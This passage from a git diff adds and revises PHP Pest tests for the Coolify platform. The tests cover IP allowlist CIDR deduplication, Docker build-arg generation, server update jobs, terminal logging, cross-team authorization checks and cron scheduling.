narrow IPv4 CIDR covered by broader CIDR', function () { + // /32 inside /24 + expect(deduplicateAllowlist(['192.168.1.1/32', '192.168.1.0/24']))->toBe(['192.168.1.0/24']); + // /25 inside /24 + expect(deduplicateAllowlist(['192.168.1.0/25', '192.168.1.0/24']))->toBe(['192.168.1.0/24']); + // /24 inside /16 + expect(deduplicateAllowlist(['192.168.1.0/24', '192.168.0.0/16']))->toBe(['192.168.0.0/16']); + // /16 inside /12 + expect(deduplicateAllowlist(['172.16.0.0/16', '172.16.0.0/12']))->toBe(['172.16.0.0/12']); + // /16 inside /8 + expect(deduplicateAllowlist(['10.1.0.0/16', '10.0.0.0/8']))->toBe(['10.0.0.0/8']); + // /24 inside /8 + expect(deduplicateAllowlist(['10.1.2.0/24', '10.0.0.0/8']))->toBe(['10.0.0.0/8']); + // /12 inside /8 + expect(deduplicateAllowlist(['172.16.0.0/12', '172.0.0.0/8']))->toBe(['172.0.0.0/8']); + // /31 inside /24 + expect(deduplicateAllowlist(['192.168.1.0/31', '192.168.1.0/24']))->toBe(['192.168.1.0/24']); + // Non-overlapping CIDRs — both preserved + expect(deduplicateAllowlist(['192.168.1.0/24', '10.0.0.0/8']))->toBe(['192.168.1.0/24', '10.0.0.0/8']); + expect(deduplicateAllowlist(['172.16.0.0/16', '192.168.0.0/16']))->toBe(['172.16.0.0/16', '192.168.0.0/16']); +}); + +test('deduplicateAllowlist removes bare IPv6 covered by various prefixes', function () { + // /64 — issue #8729 exact scenario + expect(deduplicateAllowlist(['2a01:e0a:21d:8230::', '127.0.0.1', '2a01:e0a:21d:8230::/64'])) + ->toBe(['127.0.0.1', '2a01:e0a:21d:8230::/64']); + // /48 + expect(deduplicateAllowlist(['2001:db8:1234::1', '2001:db8:1234::/48']))->toBe(['2001:db8:1234::/48']); + // /128 — same host, first entry wins (both equivalent) + expect(deduplicateAllowlist(['2001:db8::1', '2001:db8::1/128']))->toBe(['2001:db8::1']); + // IP outside prefix — both preserved + expect(deduplicateAllowlist(['2001:db8:1235::1', '2001:db8:1234::/48'])) + ->toBe(['2001:db8:1235::1', '2001:db8:1234::/48']); +}); + +test('deduplicateAllowlist removes narrow IPv6 CIDR covered by broader prefix', function () { + // /128 inside /64 + expect(deduplicateAllowlist(['2a01:e0a:21d:8230::5/128', '2a01:e0a:21d:8230::/64']))->toBe(['2a01:e0a:21d:8230::/64']); + // /127 inside /64 + expect(deduplicateAllowlist(['2001:db8:1234:5678::/127', '2001:db8:1234:5678::/64']))->toBe(['2001:db8:1234:5678::/64']); + // /64 inside /48 + expect(deduplicateAllowlist(['2001:db8:1234:5678::/64', '2001:db8:1234::/48']))->toBe(['2001:db8:1234::/48']); + // /48 inside /32 + expect(deduplicateAllowlist(['2001:db8:abcd::/48', '2001:db8::/32']))->toBe(['2001:db8::/32']); + // /32 inside /16 + expect(deduplicateAllowlist(['2001:db8::/32', '2001::/16']))->toBe(['2001::/16']); + // /64 inside /32 + expect(deduplicateAllowlist(['2001:db8:1234:5678::/64', '2001:db8::/32']))->toBe(['2001:db8::/32']); + // Non-overlapping IPv6 — both preserved + expect(deduplicateAllowlist(['2001:db8::/32', 'fd00::/8']))->toBe(['2001:db8::/32', 'fd00::/8']); + expect(deduplicateAllowlist(['2001:db8:1234::/48', '2001:db8:5678::/48']))->toBe(['2001:db8:1234::/48', '2001:db8:5678::/48']); +}); + +test('deduplicateAllowlist mixed IPv4 and IPv6 subnets', function () { + $result = deduplicateAllowlist([ + '192.168.1.5', // covered by 192.168.0.0/16 + '192.168.0.0/16', + '2a01:e0a:21d:8230::1', // covered by ::/64 + '2a01:e0a:21d:8230::/64', + '10.0.0.1', // not covered by anything + '::1', // not covered by anything + ]); + expect($result)->toBe(['192.168.0.0/16', '2a01:e0a:21d:8230::/64', '10.0.0.1', '::1']); +}); + +test('deduplicateAllowlist preserves non-overlapping entries', function () { + $result = deduplicateAllowlist(['192.168.1.1', '10.0.0.1', '172.16.0.0/16']); + expect($result)->toBe(['192.168.1.1', '10.0.0.1', '172.16.0.0/16']); +}); + +test('deduplicateAllowlist handles exact duplicates', function () { + expect(deduplicateAllowlist(['192.168.1.1', '192.168.1.1']))->toBe(['192.168.1.1']); + expect(deduplicateAllowlist(['10.0.0.0/8', '10.0.0.0/8']))->toBe(['10.0.0.0/8']); + expect(deduplicateAllowlist(['2001:db8::1', '2001:db8::1']))->toBe(['2001:db8::1']); +}); + +test('deduplicateAllowlist handles single entry and empty array', function () { + expect(deduplicateAllowlist(['10.0.0.1']))->toBe(['10.0.0.1']); + expect(deduplicateAllowlist([]))->toBe([]); +}); + +test('deduplicateAllowlist with 0.0.0.0 removes everything else', function () { + $result = deduplicateAllowlist(['192.168.1.1', '0.0.0.0', '10.0.0.0/8']); + expect($result)->toBe(['0.0.0.0']); +}); + +test('deduplicateAllowlist multiple nested CIDRs keeps only broadest', function () { + // IPv4: three levels of nesting + expect(deduplicateAllowlist(['10.1.2.0/24', '10.1.0.0/16', '10.0.0.0/8']))->toBe(['10.0.0.0/8']); + // IPv6: three levels of nesting + expect(deduplicateAllowlist(['2001:db8:1234:5678::/64', '2001:db8:1234::/48', '2001:db8::/32']))->toBe(['2001:db8::/32']); +}); diff --git a/tests/Feature/MultilineEnvironmentVariableTest.php b/tests/Feature/MultilineEnvironmentVariableTest.php index e32a2ce99..453e11109 100644 --- a/tests/Feature/MultilineEnvironmentVariableTest.php +++ b/tests/Feature/MultilineEnvironmentVariableTest.php @@ -1,144 +1,59 @@ 'SSH_PRIVATE_KEY', 'value' => "'{$sshKey}'", 'is_multiline' => true], + ['key' => 'SSH_PRIVATE_KEY', 'value' => "'some-ssh-key'", 'is_multiline' => true], ['key' => 'REGULAR_VAR', 'value' => 'simple value', 'is_multiline' => false], ]; $buildArgs = generateDockerBuildArgs($variables); - // SSH key should use double quotes and have proper escaping - $sshArg = $buildArgs->first(); - expect($sshArg)->toStartWith('--build-arg SSH_PRIVATE_KEY="'); - expect($sshArg)->toEndWith('"'); - expect($sshArg)->toContain('BEGIN OPENSSH PRIVATE KEY'); - expect($sshArg)->not->toContain("'BEGIN"); // Should not have the wrapper single quotes - - // Regular var should use escapeshellarg (single quotes) - $regularArg = $buildArgs->last(); - expect($regularArg)->toBe("--build-arg REGULAR_VAR='simple value'"); + // Docker gets values from the environment, so only keys should be in build args + expect($buildArgs->first())->toBe('--build-arg SSH_PRIVATE_KEY'); + expect($buildArgs->last())->toBe('--build-arg REGULAR_VAR'); }); -test('multiline variables with special bash characters are escaped correctly', function () { - $valueWithSpecialChars = "line1\nline2 with \"quotes\"\nline3 with \$variables\nline4 with `backticks`"; +test('generateDockerBuildArgs works with collection of objects', function () { + $variables = collect([ + (object) ['key' => 'VAR1', 'value' => 'value1', 'is_multiline' => false], + (object) ['key' => 'VAR2', 'value' => "'multiline\nvalue'", 'is_multiline' => true], + ]); + $buildArgs = generateDockerBuildArgs($variables); + expect($buildArgs)->toHaveCount(2); + expect($buildArgs->values()->toArray())->toBe([ + '--build-arg VAR1', + '--build-arg VAR2', + ]); +}); + +test('generateDockerBuildArgs collection can be imploded into valid command string', function () { $variables = [ - ['key' => 'SPECIAL_VALUE', 'value' => "'{$valueWithSpecialChars}'", 'is_multiline' => true], + ['key' => 'COOLIFY_URL', 'value' => 'http://example.com', 'is_multiline' => false], + ['key' => 'COOLIFY_BRANCH', 'value' => 'main', 'is_multiline' => false], + ]; + + $buildArgs = generateDockerBuildArgs($variables); + + // The collection must be imploded to a string for command interpolation + // This was the bug: Collection was interpolated as JSON instead of a space-separated string + $argsString = $buildArgs->implode(' '); + expect($argsString)->toBe('--build-arg COOLIFY_URL --build-arg COOLIFY_BRANCH'); + + // Verify it does NOT produce JSON when cast to string + expect($argsString)->not->toContain('{'); + expect($argsString)->not->toContain('}'); +}); + +test('generateDockerBuildArgs handles variables without is_multiline', function () { + $variables = [ + ['key' => 'NO_FLAG_VAR', 'value' => 'some value'], ]; $buildArgs = generateDockerBuildArgs($variables); $arg = $buildArgs->first(); - // Verify double quotes are escaped - expect($arg)->toContain('\\"quotes\\"'); - // Verify dollar signs are escaped - expect($arg)->toContain('\\$variables'); - // Verify backticks are escaped - expect($arg)->toContain('\\`backticks\\`'); -}); - -test('single-line environment variables use escapeshellarg', function () { - $variables = [ - ['key' => 'SIMPLE_VAR', 'value' => 'simple value with spaces', 'is_multiline' => false], - ]; - - $buildArgs = generateDockerBuildArgs($variables); - $arg = $buildArgs->first(); - - // Should use single quotes from escapeshellarg - expect($arg)->toBe("--build-arg SIMPLE_VAR='simple value with spaces'"); -}); - -test('multiline certificate with newlines is preserved', function () { - $certificate = '-----BEGIN CERTIFICATE----- -MIIDXTCCAkWgAwIBAgIJAKL0UG+mRkSvMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV -BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX -aWRnaXRzIFB0eSBMdGQwHhcNMTkwOTE3MDUzMzI5WhcNMjkwOTE0MDUzMzI5WjBF ------END CERTIFICATE-----'; - - $variables = [ - ['key' => 'TLS_CERT', 'value' => "'{$certificate}'", 'is_multiline' => true], - ]; - - $buildArgs = generateDockerBuildArgs($variables); - $arg = $buildArgs->first(); - - // Newlines should be preserved in the output - expect($arg)->toContain("\n"); - expect($arg)->toContain('BEGIN CERTIFICATE'); - expect($arg)->toContain('END CERTIFICATE'); - expect(substr_count($arg, "\n"))->toBeGreaterThan(0); -}); - -test('multiline JSON configuration is properly escaped', function () { - $jsonConfig = '{ - "key": "value", - "nested": { - "array": [1, 2, 3] - } -}'; - - $variables = [ - ['key' => 'JSON_CONFIG', 'value' => "'{$jsonConfig}'", 'is_multiline' => true], - ]; - - $buildArgs = generateDockerBuildArgs($variables); - $arg = $buildArgs->first(); - - // All double quotes in JSON should be escaped - expect($arg)->toContain('\\"key\\"'); - expect($arg)->toContain('\\"value\\"'); - expect($arg)->toContain('\\"nested\\"'); -}); - -test('empty multiline variable is handled correctly', function () { - $variables = [ - ['key' => 'EMPTY_VAR', 'value' => "''", 'is_multiline' => true], - ]; - - $buildArgs = generateDockerBuildArgs($variables); - $arg = $buildArgs->first(); - - expect($arg)->toBe('--build-arg EMPTY_VAR=""'); -}); - -test('multiline variable with only newlines', function () { - $onlyNewlines = "\n\n\n"; - - $variables = [ - ['key' => 'NEWLINES_ONLY', 'value' => "'{$onlyNewlines}'", 'is_multiline' => true], - ]; - - $buildArgs = generateDockerBuildArgs($variables); - $arg = $buildArgs->first(); - - expect($arg)->toContain("\n"); - // Should have 3 newlines preserved - expect(substr_count($arg, "\n"))->toBe(3); -}); - -test('multiline variable with backslashes is escaped correctly', function () { - $valueWithBackslashes = "path\\to\\file\nC:\\Windows\\System32"; - - $variables = [ - ['key' => 'PATH_VAR', 'value' => "'{$valueWithBackslashes}'", 'is_multiline' => true], - ]; - - $buildArgs = generateDockerBuildArgs($variables); - $arg = $buildArgs->first(); - - // Backslashes should be doubled - expect($arg)->toContain('path\\\\to\\\\file'); - expect($arg)->toContain('C:\\\\Windows\\\\System32'); + expect($arg)->toBe('--build-arg NO_FLAG_VAR'); }); test('generateDockerEnvFlags produces correct format', function () { @@ -155,54 +70,14 @@ expect($envFlags)->toContain('line2'); }); -test('helper functions work with collection input', function () { +test('generateDockerEnvFlags works with collection input', function () { $variables = collect([ (object) ['key' => 'VAR1', 'value' => 'value1', 'is_multiline' => false], (object) ['key' => 'VAR2', 'value' => "'multiline\nvalue'", 'is_multiline' => true], ]); - $buildArgs = generateDockerBuildArgs($variables); - expect($buildArgs)->toHaveCount(2); - $envFlags = generateDockerEnvFlags($variables); expect($envFlags)->toBeString(); expect($envFlags)->toContain('-e VAR1='); expect($envFlags)->toContain('-e VAR2="'); }); - -test('variables without is_multiline default to false', function () { - $variables = [ - ['key' => 'NO_FLAG_VAR', 'value' => 'some value'], - ]; - - $buildArgs = generateDockerBuildArgs($variables); - $arg = $buildArgs->first(); - - // Should use escapeshellarg (single quotes) since is_multiline defaults to false - expect($arg)->toBe("--build-arg NO_FLAG_VAR='some value'"); -}); - -test('real world SSH key example', function () { - // Simulate what real_value returns (wrapped in single quotes) - $sshKey = "'-----BEGIN OPENSSH PRIVATE KEY----- -b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW -QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk -hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA -AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV -uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA== ------END OPENSSH PRIVATE KEY-----'"; - - $variables = [ - ['key' => 'KEY', 'value' => $sshKey, 'is_multiline' => true], - ]; - - $buildArgs = generateDockerBuildArgs($variables); - $arg = $buildArgs->first(); - - // Should produce clean output without wrapper quotes - expect($arg)->toStartWith('--build-arg KEY="-----BEGIN OPENSSH PRIVATE KEY-----'); - expect($arg)->toEndWith('-----END OPENSSH PRIVATE KEY-----"'); - // Should NOT have the escaped quote sequence that was in the bug - expect($arg)->not->toContain("''"); - expect($arg)->not->toContain("'\\''"); -}); diff --git a/tests/Feature/PushServerUpdateJobLastOnlineTest.php b/tests/Feature/PushServerUpdateJobLastOnlineTest.php new file mode 100644 index 000000000..5d2fd6c6a --- /dev/null +++ b/tests/Feature/PushServerUpdateJobLastOnlineTest.php @@ -0,0 +1,101 @@ +create(); + $database = StandalonePostgresql::factory()->create([ + 'team_id' => $team->id, + 'status' => 'running:healthy', + 'last_online_at' => now()->subMinutes(5), + ]); + + $server = $database->destination->server; + + $data = [ + 'containers' => [ + [ + 'name' => $database->uuid, + 'state' => 'running', + 'health_status' => 'healthy', + 'labels' => [ + 'coolify.managed' => 'true', + 'coolify.type' => 'database', + 'com.docker.compose.service' => $database->uuid, + ], + ], + ], + ]; + + $oldLastOnline = $database->last_online_at; + + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + $database->refresh(); + + // last_online_at should be updated even though status didn't change + expect($database->last_online_at->greaterThan($oldLastOnline))->toBeTrue(); + expect($database->status)->toBe('running:healthy'); +}); + +test('database status is updated when container status changes', function () { + $team = Team::factory()->create(); + $database = StandalonePostgresql::factory()->create([ + 'team_id' => $team->id, + 'status' => 'exited', + ]); + + $server = $database->destination->server; + + $data = [ + 'containers' => [ + [ + 'name' => $database->uuid, + 'state' => 'running', + 'health_status' => 'healthy', + 'labels' => [ + 'coolify.managed' => 'true', + 'coolify.type' => 'database', + 'com.docker.compose.service' => $database->uuid, + ], + ], + ], + ]; + + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + $database->refresh(); + + expect($database->status)->toBe('running:healthy'); +}); + +test('database is not marked exited when containers list is empty', function () { + $team = Team::factory()->create(); + $database = StandalonePostgresql::factory()->create([ + 'team_id' => $team->id, + 'status' => 'running:healthy', + ]); + + $server = $database->destination->server; + + // Empty containers = Sentinel might have failed, should NOT mark as exited + $data = [ + 'containers' => [], + ]; + + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + $database->refresh(); + + // Status should remain running, NOT be set to exited + expect($database->status)->toBe('running:healthy'); +}); diff --git a/tests/Feature/PushServerUpdateJobOptimizationTest.php b/tests/Feature/PushServerUpdateJobOptimizationTest.php new file mode 100644 index 000000000..eb51059db --- /dev/null +++ b/tests/Feature/PushServerUpdateJobOptimizationTest.php @@ -0,0 +1,150 @@ +create(); + $server = Server::factory()->create(['team_id' => $team->id]); + + $data = [ + 'containers' => [], + 'filesystem_usage_root' => ['used_percentage' => 45], + ]; + + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + Queue::assertPushed(ServerStorageCheckJob::class, function ($job) use ($server) { + return $job->server->id === $server->id && $job->percentage === 45; + }); +}); + +it('does not dispatch storage check when disk percentage is unchanged', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create(['team_id' => $team->id]); + + // Simulate a previous push that cached the percentage + Cache::put('storage-check:'.$server->id, 45, 600); + + $data = [ + 'containers' => [], + 'filesystem_usage_root' => ['used_percentage' => 45], + ]; + + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + Queue::assertNotPushed(ServerStorageCheckJob::class); +}); + +it('dispatches storage check when disk percentage changes from cached value', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create(['team_id' => $team->id]); + + // Simulate a previous push that cached 45% + Cache::put('storage-check:'.$server->id, 45, 600); + + $data = [ + 'containers' => [], + 'filesystem_usage_root' => ['used_percentage' => 50], + ]; + + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + Queue::assertPushed(ServerStorageCheckJob::class, function ($job) use ($server) { + return $job->server->id === $server->id && $job->percentage === 50; + }); +}); + +it('rate-limits ConnectProxyToNetworksJob dispatch to every 10 minutes', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create(['team_id' => $team->id]); + $server->settings->update(['is_reachable' => true, 'is_usable' => true]); + + // First push: should dispatch ConnectProxyToNetworksJob + $containersWithProxy = [ + [ + 'name' => 'coolify-proxy', + 'state' => 'running', + 'health_status' => 'healthy', + 'labels' => ['coolify.managed' => true], + ], + ]; + + $data = [ + 'containers' => $containersWithProxy, + 'filesystem_usage_root' => ['used_percentage' => 10], + ]; + + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + Queue::assertPushed(ConnectProxyToNetworksJob::class, 1); + + // Second push: should NOT dispatch ConnectProxyToNetworksJob (rate-limited) + Queue::fake(); + $job2 = new PushServerUpdateJob($server, $data); + $job2->handle(); + + Queue::assertNotPushed(ConnectProxyToNetworksJob::class); +}); + +it('dispatches ConnectProxyToNetworksJob again after cache expires', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create(['team_id' => $team->id]); + $server->settings->update(['is_reachable' => true, 'is_usable' => true]); + + $containersWithProxy = [ + [ + 'name' => 'coolify-proxy', + 'state' => 'running', + 'health_status' => 'healthy', + 'labels' => ['coolify.managed' => true], + ], + ]; + + $data = [ + 'containers' => $containersWithProxy, + 'filesystem_usage_root' => ['used_percentage' => 10], + ]; + + // First push + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + Queue::assertPushed(ConnectProxyToNetworksJob::class, 1); + + // Clear cache to simulate expiration + Cache::forget('connect-proxy:'.$server->id); + + // Next push: should dispatch again + Queue::fake(); + $job2 = new PushServerUpdateJob($server, $data); + $job2->handle(); + + Queue::assertPushed(ConnectProxyToNetworksJob::class, 1); +}); + +it('uses default queue for PushServerUpdateJob', function () { + $team = Team::factory()->create(); + $server = Server::factory()->create(['team_id' => $team->id]); + + $job = new PushServerUpdateJob($server, ['containers' => []]); + + expect($job->queue)->toBeNull(); +}); diff --git a/tests/Feature/RealtimeTerminalPackagingTest.php b/tests/Feature/RealtimeTerminalPackagingTest.php new file mode 100644 index 000000000..e8fa5ff76 --- /dev/null +++ b/tests/Feature/RealtimeTerminalPackagingTest.php @@ -0,0 +1,34 @@ +toContain('COPY docker/coolify-realtime/terminal-utils.js /terminal/terminal-utils.js'); +}); + +it('mounts the realtime terminal utilities in local development compose files', function (string $composeFile) { + $composeContents = file_get_contents(base_path($composeFile)); + + expect($composeContents)->toContain('./docker/coolify-realtime/terminal-utils.js:/terminal/terminal-utils.js'); +})->with([ + 'default dev compose' => 'docker-compose.dev.yml', + 'maxio dev compose' => 'docker-compose-maxio.dev.yml', +]); + +it('keeps terminal browser logging restricted to Vite development mode', function () { + $terminalClient = file_get_contents(base_path('resources/js/terminal.js')); + + expect($terminalClient) + ->toContain('const terminalDebugEnabled = import.meta.env.DEV;') + ->toContain("logTerminal('log', '[Terminal] WebSocket connection established.');") + ->not->toContain("console.log('[Terminal] WebSocket connection established. Cool cool cool cool cool cool.');"); +}); + +it('keeps realtime terminal server logging restricted to development environments', function () { + $terminalServer = file_get_contents(base_path('docker/coolify-realtime/terminal-server.js')); + + expect($terminalServer) + ->toContain("const terminalDebugEnabled = ['local', 'development'].includes(") + ->toContain('if (!terminalDebugEnabled) {') + ->not->toContain("console.log('Coolify realtime terminal server listening on port 6002. Let the hacking begin!');"); +}); diff --git a/tests/Feature/ResourceOperationsCrossTenantTest.php b/tests/Feature/ResourceOperationsCrossTenantTest.php new file mode 100644 index 000000000..056c7757c --- /dev/null +++ b/tests/Feature/ResourceOperationsCrossTenantTest.php @@ -0,0 +1,85 @@ +userA = User::factory()->create(); + $this->teamA = Team::factory()->create(); + $this->userA->teams()->attach($this->teamA, ['role' => 'owner']); + + $this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]); + $this->destinationA = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]); + $this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]); + $this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]); + + $this->applicationA = Application::factory()->create([ + 'environment_id' => $this->environmentA->id, + 'destination_id' => $this->destinationA->id, + 'destination_type' => $this->destinationA->getMorphClass(), + ]); + + // Team B (victim's team) + $this->teamB = Team::factory()->create(); + $this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]); + $this->destinationB = StandaloneDocker::factory()->create(['server_id' => $this->serverB->id]); + $this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]); + $this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]); + + $this->actingAs($this->userA); + session(['currentTeam' => $this->teamA]); +}); + +test('cloneTo rejects destination belonging to another team', function () { + Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA]) + ->call('cloneTo', $this->destinationB->id) + ->assertHasErrors('destination_id'); + + // Ensure no cross-tenant application was created + expect(Application::where('destination_id', $this->destinationB->id)->exists())->toBeFalse(); +}); + +test('cloneTo allows destination belonging to own team', function () { + $secondDestination = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]); + + Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA]) + ->call('cloneTo', $secondDestination->id) + ->assertHasNoErrors('destination_id') + ->assertRedirect(); +}); + +test('moveTo rejects environment belonging to another team', function () { + Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA]) + ->call('moveTo', $this->environmentB->id); + + // Resource should still be in original environment + $this->applicationA->refresh(); + expect($this->applicationA->environment_id)->toBe($this->environmentA->id); +}); + +test('moveTo allows environment belonging to own team', function () { + $secondEnvironment = Environment::factory()->create(['project_id' => $this->projectA->id]); + + Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA]) + ->call('moveTo', $secondEnvironment->id) + ->assertRedirect(); + + $this->applicationA->refresh(); + expect($this->applicationA->environment_id)->toBe($secondEnvironment->id); +}); + +test('StandaloneDockerPolicy denies update for cross-team user', function () { + expect($this->userA->can('update', $this->destinationB))->toBeFalse(); +}); + +test('StandaloneDockerPolicy allows update for same-team user', function () { + expect($this->userA->can('update', $this->destinationA))->toBeTrue(); +}); diff --git a/tests/Feature/ScheduledJobManagerShouldRunNowTest.php b/tests/Feature/ScheduledJobManagerShouldRunNowTest.php new file mode 100644 index 000000000..f820c3777 --- /dev/null +++ b/tests/Feature/ScheduledJobManagerShouldRunNowTest.php @@ -0,0 +1,222 @@ +getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:1'); + + expect($result)->toBeTrue(); +}); + +it('catches delayed job when cache has a baseline from previous run', function () { + // Simulate a previous dispatch yesterday at 02:00 + Cache::put('test-backup:1', Carbon::create(2026, 2, 27, 2, 0, 0, 'UTC')->toIso8601String(), 86400); + + // Freeze time at 02:07 — job was delayed 7 minutes past today's 02:00 cron + Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 7, 0, 'UTC')); + + $job = new ScheduledJobManager; + + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + // isDue() would return false at 02:07, but getPreviousRunDate() = 02:00 today + // lastDispatched = 02:00 yesterday → 02:00 today > yesterday → fires + $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:1'); + + expect($result)->toBeTrue(); +}); + +it('does not double-dispatch on subsequent runs within same cron window', function () { + // First run at 02:00 — dispatches and sets cache + Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC')); + + $job = new ScheduledJobManager; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + $first = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:2'); + expect($first)->toBeTrue(); + + // Second run at 02:01 — should NOT dispatch (previousDue=02:00, lastDispatched=02:00) + Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC')); + $executionTimeProp->setValue($job, Carbon::now()); + + $second = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:2'); + expect($second)->toBeFalse(); +}); + +it('fires every_minute cron correctly on consecutive minutes', function () { + $job = new ScheduledJobManager; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + // Minute 1 + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC')); + $executionTimeProp->setValue($job, Carbon::now()); + $result1 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3'); + expect($result1)->toBeTrue(); + + // Minute 2 + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 1, 0, 'UTC')); + $executionTimeProp->setValue($job, Carbon::now()); + $result2 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3'); + expect($result2)->toBeTrue(); + + // Minute 3 + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 2, 0, 'UTC')); + $executionTimeProp->setValue($job, Carbon::now()); + $result3 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3'); + expect($result3)->toBeTrue(); +}); + +it('does not fire non-due jobs on restart when cache is empty', function () { + // Time is 10:00, cron is daily at 02:00 — NOT due right now + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC')); + + $job = new ScheduledJobManager; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + // Cache is empty (fresh restart) — should NOT fire daily backup at 10:00 + $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:4'); + expect($result)->toBeFalse(); +}); + +it('fires due jobs on restart when cache is empty', function () { + // Time is exactly 02:00, cron is daily at 02:00 — IS due right now + Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC')); + + $job = new ScheduledJobManager; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + // Cache is empty (fresh restart) — but cron IS due → should fire + $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:4b'); + expect($result)->toBeTrue(); +}); + +it('does not dispatch when cron is not due and was not recently due', function () { + // Time is 10:00, cron is daily at 02:00 — last due was 8 hours ago + Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC')); + + $job = new ScheduledJobManager; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + // previousDue = 02:00, but lastDispatched was set at 02:00 (simulate) + Cache::put('test-backup:5', Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC')->toIso8601String(), 86400); + + $result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:5'); + expect($result)->toBeFalse(); +}); + +it('falls back to isDue when no dedup key is provided', function () { + // Time is exactly 02:00, cron is "0 2 * * *" — should be due + Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC')); + + $job = new ScheduledJobManager; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + // No dedup key → simple isDue check + $result = $method->invoke($job, '0 2 * * *', 'UTC'); + expect($result)->toBeTrue(); + + // At 02:01 without dedup key → isDue returns false + Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC')); + $executionTimeProp->setValue($job, Carbon::now()); + + $result2 = $method->invoke($job, '0 2 * * *', 'UTC'); + expect($result2)->toBeFalse(); +}); + +it('respects server timezone for cron evaluation', function () { + // UTC time is 22:00 Feb 28, which is 06:00 Mar 1 in Asia/Singapore (+8) + Carbon::setTestNow(Carbon::create(2026, 2, 28, 22, 0, 0, 'UTC')); + + $job = new ScheduledJobManager; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + 